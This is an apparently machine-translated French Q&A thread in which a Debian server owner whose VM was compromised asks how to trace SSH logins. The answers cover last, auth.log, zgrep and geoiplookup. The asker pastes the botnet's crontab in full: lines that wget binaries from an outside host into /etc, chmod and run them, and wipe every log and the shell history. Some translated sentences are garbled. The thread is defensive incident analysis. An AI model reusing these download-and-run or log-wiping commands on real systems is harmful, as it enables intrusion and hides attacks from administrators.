Historique des adresses IP ayant accédé à un serveur via ssh

J'ai appris qu'un de mes serveurs avait été piraté et infecté par un botnet chinois connu.

C'était un prototype / machine virtuelle de test avec sa propre adresse IP statique (adresse US), aucun dommage n'a donc été causé (cela m'a pris un certain temps pour le comprendre).

J'aimerais maintenant savoir quelle adresse IP / s a ​​été utilisée pour l'intrusion afin de savoir si l'attaque provenait de Chine.

Existe-t-il un moyen de visualiser l'historique des connexions reçues sur SSH sur le serveur?

Edit: le système est Linux Debian 7

Examinez le résultat de la lastcommande et tout élément comportant une adresse IP ou un nom d’hôte au lieu d’un espace vide entré sur le réseau. Si sshdest le seul moyen de faire cela sur ce système, alors voilà.

Sinon (si cela est Linux), vous pouvez vérifier /var/log/secure(sur la base-RH distros) ou /var/log/auth.log(sur distros basées sur Debian) où sshdgardera habituellement trace des connexions effectuées même si elles ne donnent pas lieu à des connexions réussies (qui frappe utmp/ wtmp, qui est ce qui lastva se lire). Exemple:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

L’IIRC Solaris sshd(qui ne sera pas nécessairement OpenSSH sshd) enregistrera ces informations dans/var/adm/messages

MODIFIER:

@derobert fait un excellent point. Il est important de se rappeler que sur n'importe quel système, si votre compte superutilisateur est compromis, tous les paris sont désactivés, car les fichiers journaux tels que /var/log/wtmpou /var/adm/messagespouvant être modifiés par l'attaquant. Cela peut être atténué si vous déplacez les journaux hors serveur vers un emplacement sécurisé.

Par exemple, dans un magasin où je travaillais auparavant, nous avions un ordinateur "Audit Vault" sécurisé afin de recevoir uniquement les fichiers journaux d'audit des différents serveurs du centre de données. Je recommanderais d'avoir une configuration similaire à l'avenir (puisque "j'ai une machine de test" donne l'impression que vous travaillez dans une grande boutique)

Existe-t-il un moyen de visualiser l'historique des connexions reçues sur SSH sur le serveur?

Cela devrait vous donner une liste:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Ensuite, vous pouvez utiliser geoiplookuple geoip-binpackage pour passer du nom d’hôte ou de l’adresse IP au pays.

Eh bien, comme prévu, et comme l'a dit @Joel Davis, tous les journaux ont été effacés, mais il y a un fichier mentionné par @Ramesh qui tente à quelques reprises d'accéder à l'utilisateur root mais n'a pas pu entrer le mot de passe correct plusieurs fois, puis la déconnexion trop de tentatives

J'ai couru un traceroute sur trois des adresses et deux viennent de Chine et l'autre du Pakistan; ce sont les IPs:

221.120.224.179
116.10.191.218
61.174.51.221

Plus d'informations sur le botnet qui a été injecté sur le serveur après avoir été compromis:

Les pirates éditent crontab pour exécuter 7 exécutables qui, à chaque fois, utiliseront tout le processeur, la sortie réseau maximale des serveurs, puis mourront. En outre, ils ajoutent le fichier Lisez- crontab -lmoi à la liste des tâches 100 fois afin de masquer les lignes ajoutées. Ainsi, le fichier Lisez-moi avec des lignes cachées le spammera. Pour contourner cela, j'ai utilisé crontab -l | grep -v '^#'et voici le résultat de cette commande:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Comme vous pouvez le constater, tous les fichiers journaux sont effacés, c’est pourquoi je n’ai pas pu récupérer beaucoup d’informations.

Cela a mis le serveur entier (tous les ordinateurs virtuels) hors service, provoquant des délais d'attente sur les sites et sur proxmox. Voici un graphique (les pointes dénotent le botnet activement DDoS et notent le réseau):

En conséquence, j'ajouterai toute la gamme d'adresses IP chinoises à un pare-feu pour bloquer toutes les connexions (je n'ai aucun utilisateur chinois, donc je m'en fiche), j'autorise également les connexions à la racine à distance et l'utilisation de longs complexes. mots de passe. Je vais probablement aussi changer le port SSH et utiliser des clés SSH privées.

De cette réponse, je vois les informations ci-dessous.

En parlant de serveurs SSH, je vais vous donner des solutions en ligne de commande.

Suivre les connexions et déconnexions des utilisateurs . C'est facile, le fichier /var/log/auth.logdevrait avoir cette information.

Suivre l'activité de ces utilisateurs : s'ils sont quelque peu innocents, vous pouvez vérifier le fichier .bash_historydans leur répertoire personnel. Vous verrez une liste des commandes qu'ils ont exécutées. Le problème est bien sûr qu’ils peuvent supprimer ou éditer ce fichier.

Empêcher les utilisateurs de supprimer les journaux : les utilisateurs ne devraient pas pouvoir toucher auth.log. Afin de les empêcher de jouer avec bash_historyvous devez faire quelques astuces.

Que se passe-t-il si l'utilisateur parvient à obtenir un accès root? : T'es foutu. À moins qu'il ne commette une erreur, il pourra cacher tous ses pas.

De plus, à partir de cette réponse, nous pouvons voir l'adresse IP d'un client à l'aide de la SSH_CLIENTvariable.

Également à partir de cette réponse, je vois que l’historique SSH pourrait être stocké dans ces fichiers.

En plus /var/log/lastlog, il y a 3 fichiers dans /var/runet /var/log: utmp, wtmpet btmpqui détiennent les informations sur les connexions actuelles (et informations supplémentaires), les connexions historiques et ont échoué. Voir le wiki pour une description détaillée. Vous ne pouvez pas éditer les fichiers avec des éditeurs normaux, mais vous pouvez les effacer.

La commande la plus simple pour obtenir les 10 derniers utilisateurs connectés à la machine est last|head.

Pour obtenir tous les utilisateurs, utilisez simplement la lastcommande

Cette machine a été compromise. Cela signifie que toutes les données, historiques ou actuelles, ne sont plus fiables.

Bref, la réponse est non. Vous ne pouvez pas être sûr d'avoir trouvé l'adresse d'origine à partir d'un fichier journal enregistré sur cette machine.

Essuyez et réinstallez. Et patch.

Pour ne voir que les tentatives de connexion réussies avec mot de passe:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

pour debian, la recherche de test est libellée de manière légèrement différente

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'